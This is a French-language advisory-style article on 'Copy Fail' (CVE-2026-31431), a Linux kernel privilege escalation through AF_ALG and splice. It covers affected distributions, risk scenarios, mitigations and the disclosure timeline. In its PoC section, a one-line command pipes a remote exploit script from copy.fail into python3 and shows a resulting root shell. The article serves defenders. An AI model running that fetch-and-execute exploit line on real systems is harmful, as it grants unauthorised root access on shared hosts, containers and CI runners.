← Retour à la liste

732 octets pour compromettre tout Linux : une faille épique restée latente près de dix ans

itadol5j

Faille Copy Fail

🚨 Faille épique : 732 octets pour compromettre tous les Linux, près de dix ans de latence

Une faille du noyau Linux baptisée« Copy Fail »(CVE-2026-31431) a été divulguée publiquement :

  • 732 octets de script Python
  • fiables à 100 %, sans fenêtre de course critique ni offsets noyau
  • affecte toutes les distributions Linux(de 2017 à aujourd'hui)
  • primitive d'évasion de conteneur, attaques inter-locataires
  • près de dix ans de latence, révélée publiquement le 29 avril 2026

Le même script fonctionnesur Ubuntu, RHEL, Amazon Linux et SUSE — sans aucune modification.

🎯 Le cœur de la faille

un défaut logique unique

Copy Fail estun défaut de logique linéaire :

  • aucune fenêtre de course requise : contrairement à la plupart des LPE Linux qui nécessitent une course critique
  • aucun offset noyau requis : pas besoin d'offsets spécifiques au noyau
  • fiable à 100 % : réussit à chaque tentative
  • le même script : fonctionne sur toutes les distributions

Chaîne d'exploitation

La chaîne d'attaque de Copy Fail :

  • erreur logique authencesn : un bug logique
  • AF_ALG : via l'API crypto du noyau
  • splice() : appels en chaîne
  • écriture de 4 octets dans le page cache : la primitive d'attaque finale
  • exploitable pendant près de dix ans : de 2017 jusqu'à la publication du correctif

📊 Périmètre touché

Distributions officiellement vérifiées

Distribution Version du noyau Statut
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ vérifié
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ vérifié
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ vérifié
SUSE 16 6.12.0-160000.9-default ✅ vérifié

Autres distributions touchées

Les distributions suivantessont également touchées :

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux embarqué

Conclusion : si votre noyau a été construit entre 2017 et la publication du correctif —vous êtes concerné.

💡 Scénarios à haut risque

Scénario Risque Impact
Hôtes Linux multi-locataires élevé n'importe quel utilisateur devient root
Clusters Kubernetes / conteneurs élevé attaques inter-conteneurs et inter-locataires
Runners CI / fermes de build élevé une PR devient root sur le runner
SaaS cloud exécutant du code utilisateur élevé un locataire devient root de l'hôte
Serveurs Linux standards moyen LPE interne, chaînable avec d'autres attaques
Ordinateurs portables mono-utilisateur faible étape d'élévation de privilèges en post-exploitation

🔧 Mesures d'atténuation

Option 1 : mettre à jour le noyau (recommandé)

Mettez à jour le noyau vers une version incluantmainline commit a664bf3d603d :

  • Contenu du correctif : annulation de l'optimisation in-place d'algif_aead de 2017
  • Effet : les pages du page cache n'apparaissent plus dans la scatterlist de destination inscriptible
  • Statut : la plupart des distributions majeures ont déjà publié un correctif

Option 2 : désactiver le module algif_aead (temporaire)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impact de la désactivation d'algif_aead

Composant Impact
dm-crypt / LUKS non affecté
kTLS / IPsec non affecté
OpenSSL / SSH non affecté
Espace utilisateur AF_ALG peut être affecté

Conclusion : pour la plupart des systèmes, désactiver algif_aeadn'a aucun impact notable.

Option 3 : bloquer AF_ALG via seccomp

Pour les charges de travail non fiables (conteneurs, sandboxes, CI), bloquez la création de sockets AF_ALG via seccomp :

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Démonstration PoC

Le PoC de la faille est public, afin que les défenseurs puissent vérifier leurs systèmes :

Exécution rapide

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Détails du PoC

  • Taille du fichier : 732 octets
  • Langage : Python 3.10+, bibliothèque standard uniquement (os, socket, zlib)
  • Cible par défaut : /usr/bin/su
  • SHA256 : a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Avertissement : le script modifie le page cache du binaire setuid ; les modifications ne persistent pas après redémarrage, mais le shell root est bien réel. Ne l'exécutez pas en production.

📅 Chronologie de la divulgation

Date Événement
2026-03-23 Signalement à l'équipe sécurité du noyau Linux
2026-03-24 Confirmation initiale
2026-03-25 Proposition et revue du correctif
2026-04-01 Soumission du correctif au mainline
2026-04-22 Attribution du CVE-2026-31431
2026-04-29 Divulgation publique

🔍 Découvreur : Xint Code

La faille a été découverte parXint Code :

  • Temps de scan : environ 1 heure pour scanner le sous-système crypto/ de Linux
  • Méthode de découverte : audit de code assisté par IA
  • Analyse complète : cause racine, diagrammes, prompt de l'opérateur
  • Autres découvertes : d'autres failles de gravité élevée découvertes simultanément, encore en divulgation coordonnée

Palmarès de Xint Code

  • RCE 0-day : ZeroDay Cloud, rafle dans la catégorie bases de données (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3 : finale du DARPA AI Cyber Challenge
  • DEF CON CTF 9× : équipe la plus titrée de l'histoire du DEF CON CTF

📝 Conclusion

Copy Fail (CVE-2026-31431) estune faille épique du noyau Linux :

  • 732 octets pour compromettre tous les Linux (de 2017 à aujourd'hui)
  • fiable à 100 %, un unique défaut logique
  • évasion de conteneur, attaques inter-locataires
  • près de dix ans de latence, révélée publiquement le 29 avril 2026
  • scénarios à haut risque : hôtes multi-locataires, clusters de conteneurs, runners CI, SaaS
  • atténuation : mettre à jour le noyau ou désactiver algif_aead
  • découvreur : Xint Code, audit de code assisté par IA

Une faille épique de près de dix ans, un seul script pour compromettre tous les Linux.

Site officiel de la faille :https://copy.fail

PoC sur GitHub :https://github.com/theori-io/copy-fail-CVE-2026-31431

Analyse technique :https://xint.io/blog/copy-fail-linux-distributions

Correctif noyau :https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5